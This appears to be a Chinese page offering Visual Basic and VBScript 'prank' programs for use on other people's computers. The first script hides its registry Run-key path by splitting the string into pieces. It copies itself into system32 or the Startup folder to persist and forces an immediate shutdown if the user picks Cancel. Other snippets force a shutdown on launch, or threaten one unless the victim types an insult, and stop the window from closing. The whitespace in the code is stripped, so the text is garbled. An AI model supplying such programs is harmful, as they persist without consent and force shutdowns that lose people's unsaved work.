VB关机恶搞小程序
VB关机恶搞小程序一:
Dimfs,dirwin,c,Wll,str,strr,r
Setfs=CreateObject("Scripting.FileSystemObject")
Setdirwin=fs.GetSpecialFolder(1)
SetWll=WScript.CreateObject("WScript.Shell")
Setc=fs.GetFile(WScript.ScriptFullName)
str="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if(fs.FileExists(dirwin&"\wxb.vbs"))Then
callShow_And_Do("reg")
elseif(fs.FileExists("C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup\wxb.vbs"))Then
callShow_And_Do("Startup")
else
OnErrorResumeNext
strr=""
Wll.RegWritestr,"C:\WINDOWS\system32\wxb.vbs","REG_SZ"
strr=Wll.Regread(str)
ifstrr=""then
c.Copy("C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin&"\wxb.vbs")
endif
endif
subShow_And_Do(s)
dimf
r=MsgBox("警告:请不要随便动我的电脑!"&Chr(13)&Chr(10)&"确定->下次一定会先征求同意的"&Chr(10)&"取消->爱咋滴咋地,我才不管他嘞!",4145,"MsgBoxExample")
Ifr=1Then
ifs="Startup"then
setf=fs.GetFile("C:\DocumentsandSettings\AllUsers\StartMenu\Programs\Startup\wxb.vbs")
f.Delete()
elseifs="reg"then
Wll.RegDeletestr
setf=fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
endif
Else
wll.run"Shutdown.exe-s-f-t0"
EndIf
endsub
上面的有点复杂,那就来个稍微简单的
代码如下:
OptionExplicit ConstSM_CLEANBOOT=67 ConstEWX_LOGOFF=0 ConstEWX_SHUTDOWN=1 ConstEWX_REBOOT=2 ConstEWX_FORCE=4 PrivateDeclareFunctionExitWindowsExLib"user32"(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong PrivateSubForm_Load() CallExitWindowsEx(EWX_SHUTDOWN,0) EndSub
当你可以采用一个更加简单的写法
直接输入以下代码即可:
PrivateSubForm_Load() Shell"cmd/cshutdown-s-t30" Rem后面的-t0表示0秒关机,如果去掉-t0那么默认是30秒关机 EndSub
方法三:
PrivateSubCommand1_Click()
IfText1="我是猪"Then
Shell"cmd.exe/cshutdown-a"
MsgBox"哈哈放过你吧!",64,"提示"
End
EndIf
EndSub
PrivateSubForm_Load()
MsgBox"哈哈你中招了、快说你是猪,否则1分钟就让你电脑关机",48,"提示"
Shell"cmd.exe/cshutdown-s-t"&60,vbHide
EndSub
PrivateSubForm_Unload(CancelAsInteger)
g=MsgBox("想关掉我???",vbOKCancel+vbQuestion,"关闭窗口")
Ifg=vbOKThen
Cancel=11
MsgBox"哈哈你关不掉我的快说我是猪吧",64,"提示"
EndIf
Ifg=2Then
Cancel=11
EndIf
EndSub